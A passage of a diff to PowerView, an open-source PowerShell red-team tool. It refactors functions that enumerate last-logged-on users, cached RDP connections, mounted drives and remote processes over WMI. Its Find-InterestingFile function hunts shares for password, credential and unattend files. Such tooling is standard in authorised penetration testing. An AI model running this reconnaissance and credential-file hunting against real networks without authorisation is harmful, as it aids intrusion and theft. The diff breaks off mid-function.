PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.LastLoggedOnUser + +A PSCustomObject containing the ComputerName and last loggedon user. #> + [OutputType('PowerView.LastLoggedOnUser')] [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] + [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField + PROCESS { + ForEach ($Computer in $ComputerName) { + # HKEY_LOCAL_MACHINE + $HKLM = 2147483650 - # HKEY_USERS - $HKU = 2147483651 + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'SilentlyContinue' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } - try { - if($Credential) { - $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue - } - else { - $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue + # try to open up the remote registry key to grab the last logged on user + try { + $Reg = Get-WmiObject @WmiArguments + + $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI' + $Value = 'LastLoggedOnUser' + $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue + + $LastLoggedOn = New-Object PSObject + $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser + $LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser') + $LastLoggedOn + } + catch { + Write-Warning "[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled." + } } + } +} + + +function Get-WMIRegCachedRDPConnection { +<# +.SYNOPSIS + +Returns information about RDP connections outgoing from the local (or remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID + +.DESCRIPTION + +Uses remote registry functionality to query all entries for the +"Windows Remote Desktop Connection Client" on a machine, separated by +user and target server. + +.PARAMETER ComputerName + +Specifies the hostname to query for cached RDP connections (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential - # extract out the SIDs of domain users in this hive - $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. - foreach ($UserSID in $UserSIDs) { +.EXAMPLE + +Get-WMIRegCachedRDPConnection + +Returns the RDP connection client information for the local machine. + +.EXAMPLE + +Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local + +Returns the RDP connection client information for the WINDOWS2.testlab.local machine + +.EXAMPLE + +Get-DomainComputer | Get-WMIRegCachedRDPConnection + +Returns cached RDP information for all machines in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.CachedRDPConnection + +A PSCustomObject containing the ComputerName and cached RDP information. +#> + + [OutputType('PowerView.CachedRDPConnection')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + # HKEY_USERS + $HKU = 2147483651 + + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'Stop' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } try { - $UserName = Convert-SidToName $UserSID + $Reg = Get-WmiObject @WmiArguments - # pull out all the cached RDP connections - $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } - foreach ($Connection in $ConnectionKeys) { - # make sure this key is a cached connection - if($Connection -match 'MRU.*') { - $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue - - $FoundConnection = New-Object PSObject - $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer - $FoundConnection | Add-Member Noteproperty 'UserName' $UserName - $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID - $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer - $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null - $FoundConnection - } - } + ForEach ($UserSID in $UserSIDs) { + try { + if ($PSBoundParameters['Credential']) { + $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential + } + else { + $UserName = ConvertFrom-SID -ObjectSid $UserSID + } - # pull out all the cached server info with username hints - $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames + # pull out all the cached RDP connections + $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames + + ForEach ($Connection in $ConnectionKeys) { + # make sure this key is a cached connection + if ($Connection -match 'MRU.*') { + $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue + + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null + $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') + $FoundConnection + } + } - foreach ($Server in $ServerKeys) { + # pull out all the cached server info with username hints + $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames - $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue - - $FoundConnection = New-Object PSObject - $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer - $FoundConnection | Add-Member Noteproperty 'UserName' $UserName - $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID - $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server - $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint - $FoundConnection - } + ForEach ($Server in $ServerKeys) { + + $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint + $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') + $FoundConnection + } + } + catch { + Write-Verbose "[Get-WMIRegCachedRDPConnection] Error: $_" + } + } } catch { - Write-Verbose "Error: $_" + Write-Warning "[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" } } - - } - catch { - Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" } } -filter Get-RegistryMountedDrive { +function Get-WMIRegMountedDrive { <# - .SYNOPSIS +.SYNOPSIS + +Returns information about saved network mounted drives for the local (or remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID - Uses remote registry functionality to query all entries for the - the saved network mounted drive on a machine, separated by - user and target server. +.DESCRIPTION - Note: This function requires administrative rights on the - machine you're enumerating. +Uses remote registry functionality to enumerate recently mounted network drives. - .PARAMETER ComputerName +.PARAMETER ComputerName - The hostname to query for RDP client information. - Defaults to localhost. +Specifies the hostname to query for mounted drive information (also accepts IP addresses). +Defaults to 'localhost'. - .PARAMETER Credential +.PARAMETER Credential - A [Management.Automation.PSCredential] object for the remote connection. +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. - .EXAMPLE +.EXAMPLE - PS C:\> Get-RegistryMountedDrive +Get-WMIRegMountedDrive - Returns the saved network mounted drives for the local machine. +Returns the saved network mounted drives for the local machine. - .EXAMPLE +.EXAMPLE - PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local +Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local - Returns the saved network mounted drives for the WINDOWS2.testlab.local machine +Returns the saved network mounted drives for the WINDOWS2.testlab.local machine - .EXAMPLE +.EXAMPLE - PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local -Credential $Cred +Get-DomainComputer | Get-WMIRegMountedDrive - Returns the saved network mounted drives for the WINDOWS2.testlab.local machine using alternate credentials. +Returns the saved network mounted drives for all machines in the domain. - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetComputer | Get-RegistryMountedDrive +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred - Get the saved network mounted drives for all machines in the domain. +.OUTPUTS + +PowerView.RegMountedDrive + +A PSCustomObject containing the ComputerName and mounted drive information. #> + [OutputType('PowerView.RegMountedDrive')] [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] + [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField - - # HKEY_USERS - $HKU = 2147483651 - - try { - if($Credential) { - $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue - } - else { - $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue - } - - # extract out the SIDs of domain users in this hive - $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + PROCESS { + ForEach ($Computer in $ComputerName) { + # HKEY_USERS + $HKU = 2147483651 - foreach ($UserSID in $UserSIDs) { + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'Stop' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } try { - $UserName = Convert-SidToName $UserSID + $Reg = Get-WmiObject @WmiArguments - $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } - ForEach($DriveLetter in $DriveLetters) { - $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue - $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue - $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue - if(-not $UserName) { $UserName = '' } + ForEach ($UserSID in $UserSIDs) { + try { + if ($PSBoundParameters['Credential']) { + $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential + } + else { + $UserName = ConvertFrom-SID -ObjectSid $UserSID + } - if($RemotePath -and ($RemotePath -ne '')) { - $MountedDrive = New-Object PSObject - $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer - $MountedDrive | Add-Member Noteproperty 'UserName' $UserName - $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID - $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter - $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName - $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath - $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName - $MountedDrive + $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames + + ForEach ($DriveLetter in $DriveLetters) { + $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue + $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue + $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue + if (-not $UserName) { $UserName = '' } + + if ($RemotePath -and ($RemotePath -ne '')) { + $MountedDrive = New-Object PSObject + $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer + $MountedDrive | Add-Member Noteproperty 'UserName' $UserName + $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID + $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter + $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName + $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath + $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName + $MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive') + $MountedDrive + } + } + } + catch { + Write-Verbose "[Get-WMIRegMountedDrive] Error: $_" } } } catch { - Write-Verbose "Error: $_" + Write-Warning "[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" } } } - catch { - Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" - } } -filter Get-NetProcess { +function Get-WMIProcess { <# - .SYNOPSIS +.SYNOPSIS + +Returns a list of processes and their owners on the local or remote machine. - Gets a list of processes/owners on a remote machine. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None - .PARAMETER ComputerName +.DESCRIPTION - The hostname to query processes. Defaults to the local host name. +Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine, +including the owners of the particular process. - .PARAMETER Credential +.PARAMETER ComputerName - A [Management.Automation.PSCredential] object for the remote connection. +Specifies the hostname to query for cached RDP connections (also accepts IP addresses). +Defaults to 'localhost'. - .EXAMPLE +.PARAMETER Credential - PS C:\> Get-NetProcess -ComputerName WINDOWS1 - - Returns the current processes for WINDOWS1 +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +Get-WMIProcess -ComputerName WINDOWS1 + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.UserProcess + +A PSCustomObject containing the remote process information. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.UserProcess')] [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] - $ComputerName = [System.Net.Dns]::GetHostName(), + [String[]] + $ComputerName = 'localhost', [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField - - try { - if($Credential) { - $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential - } - else { - $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName - } - - $Processes | ForEach-Object { - $Owner = $_.getowner(); - $Process = New-Object PSObject - $Process | Add-Member Noteproperty 'ComputerName' $Computer - $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName - $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID - $Process | Add-Member Noteproperty 'Domain' $Owner.Domain - $Process | Add-Member Noteproperty 'User' $Owner.User - $Process + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + $WmiArguments = @{ + 'ComputerName' = $ComputerName + 'Class' = 'Win32_process' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + Get-WMIobject @WmiArguments | ForEach-Object { + $Owner = $_.getowner(); + $Process = New-Object PSObject + $Process | Add-Member Noteproperty 'ComputerName' $Computer + $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName + $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID + $Process | Add-Member Noteproperty 'Domain' $Owner.Domain + $Process | Add-Member Noteproperty 'User' $Owner.User + $Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess') + $Process + } + } + catch { + Write-Verbose "[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_" + } } } - catch { - Write-Verbose "[!] Error enumerating remote processes on $Computer, access likely denied: $_" - } } function Find-InterestingFile { <# - .SYNOPSIS +.SYNOPSIS + +Searches for files on the given path that match a series of specified criteria. - This function recursively searches a given UNC path for files with - specific keywords in the name (default of pass, sensitive, secret, admin, - login and unattend*.xml). The output can be piped out to a csv with the - -OutFile flag. By default, hidden files/folders are included in search results. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection - .PARAMETER Path +.DESCRIPTION - UNC/local path to recursively search. +This function recursively searches a given UNC path for files with +specific keywords in the name (default of pass, sensitive, secret, admin, +login and unattend*.xml). By default, hidden files/folders are included +in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection +is used to temporarily map the remote share. - .PARAMETER Terms +.PARAMETER Path - Terms to search for. +UNC/local path to recursively search. - .PARAMETER OfficeDocs +.PARAMETER Include - Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) +Only return files/folders that match the specified array of strings, +i.e. @(*.doc*, *.xls*, *.ppt*) - .PARAMETER FreshEXEs +.PARAMETER LastAccessTime - Switch. Find .EXEs accessed within the last week. +Only return files with a LastAccessTime greater than this date value. - .PARAMETER LastAccessTime +.PARAMETER LastWriteTime - Only return files with a LastAccessTime greater than this date value. +Only return files with a LastWriteTime greater than this date value. - .PARAMETER LastWriteTime +.PARAMETER CreationTime - Only return files with a LastWriteTime greater than this date value. +Only return files with a CreationTime greater than this date value. - .PARAMETER CreationTime +.PARAMETER OfficeDocs - Only return files with a CreationTime greater than this date value. +Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) - .PARAMETER ExcludeFolders +.PARAMETER FreshEXEs - Switch. Exclude folders from the search results. +Switch. Find .EXEs accessed within the last 7 days. - .PARAMETER ExcludeHidden +.PARAMETER ExcludeFolders - Switch. Exclude hidden files and folders from the search results. +Switch. Exclude folders from the search results. - .PARAMETER CheckWriteAccess +.PARAMETER ExcludeHidden - Switch. Only returns files the current user has write access to. +Switch. Exclude hidden files and folders from the search results. - .PARAMETER OutFile +.PARAMETER CheckWriteAccess - Output results to a specified csv output file. +Switch. Only returns files the current user has write access to. - .PARAMETER UsePSDrive +.PARAMETER Credential - Switch. Mount target remote path with temporary PSDrives. +A [Management.Automation.PSCredential] object of alternate credentials +to connect to remote systems for file enumeration. - .OUTPUTS +.EXAMPLE - The full path, owner, lastaccess time, lastwrite time, and size for each found file. +Find-InterestingFile -Path "C:\Backup\" - .EXAMPLE +Returns any files on the local path C:\Backup\ that have the default +search term set in the title. - PS C:\> Find-InterestingFile -Path C:\Backup\ - - Returns any files on the local path C:\Backup\ that have the default - search term set in the title. +.EXAMPLE - .EXAMPLE +Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7) - PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv - - Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries' - or 'email' in the title, and writes the results out to a csv file - named 'out.csv' +Returns any files on the remote path \\WINDOWS7\Users\ that have the default +search term set in the title and were accessed within the last week. - .EXAMPLE +.EXAMPLE - PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -LastAccessTime (Get-Date).AddDays(-7) +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-InterestingFile -Credential $Cred -Path "\\PRIMARY.testlab.local\C$\Temp\" - Returns any files on the remote path \\WINDOWS7\Users\ that have the default - search term set in the title and were accessed within the last week. +.OUTPUTS - .LINK - - http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ +PowerView.FoundFile #> - - param( - [Parameter(ValueFromPipeline=$True)] - [String] - $Path = '.\', - [Alias('Terms')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.FoundFile')] + [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] [String[]] - $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config'), - - [Switch] - $OfficeDocs, + $Path = '.\', - [Switch] - $FreshEXEs, + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [Alias('SearchTerms', 'Terms')] + [String[]] + $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), - [String] + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] $LastAccessTime, - [String] + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] $LastWriteTime, - [String] + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] $CreationTime, + [Parameter(ParameterSetName = 'OfficeDocs')] + [Switch] + $OfficeDocs, + + [Parameter(ParameterSetName = 'FreshEXEs')] + [Switch] + $FreshEXEs, + + [Parameter(ParameterSetName = 'FileSpecification')] [Switch] $ExcludeFolders, + [Parameter(ParameterSetName = 'FileSpecification')] [Switch] $ExcludeHidden, [Switch] $CheckWriteAccess, - [String] - $OutFile, - - [Switch] - $UsePSDrive + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - begin { - - $Path += if(!$Path.EndsWith('\')) {"\"} - - if ($Credential) { - $UsePSDrive = $True + BEGIN { + $SearcherArguments = @{ + 'Recurse' = $True + 'ErrorAction' = 'SilentlyContinue' + 'Include' = $Include } - - # append wildcards to the front and back of all search terms - $SearchTerms = $SearchTerms | ForEach-Object { if($_ -notmatch '^\*.*\*$') {"*$($_)*"} else{$_} } - - # search just for office documents if specified - if ($OfficeDocs) { - $SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') + if ($PSBoundParameters['OfficeDocs']) { + $SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') } - - # find .exe's accessed within the last 7 days - if($FreshEXEs) { - # get an access time limit of 7 days ago + elseif ($PSBoundParameters['FreshEXEs']) { + # find .exe's accessed within the last 7 days $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy') - $SearchTerms = '*.exe' - } - - if($UsePSDrive) { - # if we're PSDrives, create a temporary mount point - - $Parts = $Path.split('\') - $FolderPath = $Parts[0..($Parts.length-2)] -join '\' - $FilePath = $Parts[-1] - - $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - - Write-Verbose "Mounting path '$Path' using a temp PSDrive at $RandDrive" - - try { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } - catch { - Write-Verbose "Error mounting path '$Path' : $_" - return $Null - } - - # so we can cd/dir the new drive - $Path = "${RandDrive}:\${FilePath}" + $SearcherArguments['Include'] = @('*.exe') } - } + $SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden'] - process { + $MappedComputers = @{} - Write-Verbose "[*] Search path $Path" - - function Invoke-CheckWrite { + function Test-Write { # short helper to check is the current user can write to a file - [CmdletBinding()]param([String]$Path) + [CmdletBinding()]Param([String]$Path) try { - $Filetest = [IO.FILE]::OpenWrite($Path) + $Filetest = [IO.File]::OpenWrite($Path) $Filetest.Close() $True } catch { - Write-Verbose -Message $Error[0] $False } } + } - $SearchArgs = @{ - 'Path' = $Path - 'Recurse' = $True - 'Force' = $(-not $ExcludeHidden) - 'Include' = $SearchTerms - 'ErrorAction' = 'SilentlyContinue' - } + PROCESS { + ForEach ($TargetPath in $Path) { + if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $HostComputer = (New-Object System.Uri($TargetPath)).Host + if (-not $MappedComputers[$HostComputer]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential + $MappedComputers[$HostComputer] = $True + } + } - Get-ChildItem @SearchArgs | ForEach-Object { - Write-Verbose $_ - # check if we're excluding folders - if(!$ExcludeFolders -or !$_.PSIsContainer) {$_} - } | ForEach-Object { - if($LastAccessTime -or $LastWriteTime -or $CreationTime) { - if($LastAccessTime -and ($_.LastAccessTime -gt $LastAccessTime)) {$_} - elseif($LastWriteTime -and ($_.LastWriteTime -gt $LastWriteTime)) {$_} - elseif($CreationTime -and ($_.CreationTime -gt $CreationTime)) {$_} + $SearcherArguments['Path'] = $TargetPath + Get-ChildItem @SearcherArguments | ForEach-Object { + # check if we're excluding folders + $Continue = $True + if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) { + Write-Verbose "Excluding: $($_.FullName)" + $Continue = $False + } + if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) { + $Continue = $False + } + if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) { + $Continue = $False + } + if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) { + $Continue = $False + } + if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) { + $Continue = $False + } + if ($Continue) { + $FileParams = @{ + 'Path' = $_.FullName + 'Owner' = $((Get-Acl $_.FullName).Owner) + 'LastAccessTime' = $_.LastAccessTime + 'LastWriteTime' = $_.LastWriteTime + 'CreationTime' = $_.CreationTime + 'Length' = $_.Length + } + $FoundFile = New-Object -TypeName PSObject -Property $FileParams + $FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile') + $FoundFile + } } - else {$_} - } | ForEach-Object { - # filter for write access (if applicable) - if((-not $CheckWriteAccess) -or (Invoke-CheckWrite -Path $_.FullName)) {$_} - } | Select-Object FullName,@{Name='Owner';Expression={(Get-Acl $_.FullName).Owner}},LastAccessTime,LastWriteTime,CreationTime,Length | ForEach-Object { - # check if we're outputting to the pipeline or an output file - if($OutFile) {Export-PowerViewCSV -InputObject $_ -OutFile $OutFile} - else {$_} } } - end { - if($UsePSDrive -and $RandDrive) { - Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force - } + END { + # remove the IPC$ mappings + $MappedComputers.Keys | Remove-RemoteConnection } } @@ -9248,62 +14326,58 @@ function Find-InterestingFile { # ######################################################## -function Invoke-ThreadedFunction { +function New-ThreadedFunction { # Helper used by any threaded host enumeration functions + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding()] - param( - [Parameter(Position=0,Mandatory=$True)] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [String[]] $ComputerName, - [Parameter(Position=1,Mandatory=$True)] + [Parameter(Position = 1, Mandatory = $True)] [System.Management.Automation.ScriptBlock] $ScriptBlock, - [Parameter(Position=2)] + [Parameter(Position = 2)] [Hashtable] $ScriptParameters, [Int] - [ValidateRange(1,100)] + [ValidateRange(1, 100)] $Threads = 20, [Switch] $NoImports ) - begin { - - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - Write-Verbose "[*] Total number of hosts: $($ComputerName.count)" - + BEGIN { 